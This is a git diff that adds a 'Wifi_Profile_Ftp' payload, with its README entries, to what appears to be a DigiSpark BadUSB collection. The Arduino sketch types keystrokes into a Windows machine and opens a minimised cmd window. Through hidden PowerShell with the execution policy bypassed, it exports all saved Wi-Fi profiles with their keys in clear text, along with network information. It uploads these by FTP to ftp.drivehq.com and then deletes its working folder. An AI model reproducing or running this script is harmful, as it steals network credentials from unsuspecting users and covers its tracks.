Merge d7bfd46eaa
into e9ccc14f6c
This commit is contained in:
commit
49a78e4b81
|
@ -17,6 +17,8 @@ Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/di
|
|||
|
||||
>PowerShell Script Executer : Downloads and runs a powershell script.
|
||||
|
||||
>Wifi_Profile_Ftp: Using cmd, extracts wifi profiles and send it with ftp
|
||||
|
||||
>WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the csv to the usb mounted on d:\
|
||||
|
||||
>WiFi_Profile_Mailer : Writes the wireless network credentials to a csv file and emails it.
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
# Wifi Profile Ftp
|
||||
|
||||
Creates xml files with all your Wifi data and send it via FTP to a server.
|
||||
|
||||
Working on Windows 10
|
|
@ -0,0 +1,29 @@
|
|||
DigiKeyboard.sendKeyStroke(0);
|
||||
DigiKeyboard.delay(1000);
|
||||
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT,KEY_R);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print(F("cmd /k mode con:cols=18 lines=1"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print(F("color FE"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print(F("cd %localappdata%"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print(F("mkdir tmp"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print(F("cd tmp"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(200);
|
||||
DigiKeyboard.print(F("powershell -command "'open ftp.drivehq.com' > dat.txt ; 'USERNAME' >> dat.txt ; 'PASSWORD' >> dat.txt ; 'prompt' >> dat.txt ; 'mput *.*' >> dat.txt ; 'quit' >> dat.txt""));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(200);
|
||||
DigiKeyboard.print(F("powershell -windowstyle hidden -Executionpolicy bypass -command "cd %localappdata%\tmp ; netsh wlan export profile key=clear ; ipconfig > ipc.txt ; netstat -r > nr.txt ; ftp -s:dat.txt ; cd .. ; Remove-Item -Recurse -Force tmp""));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print(F("exit"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
for(;;){ /*empty*/ }
|
Loading…
Reference in New Issue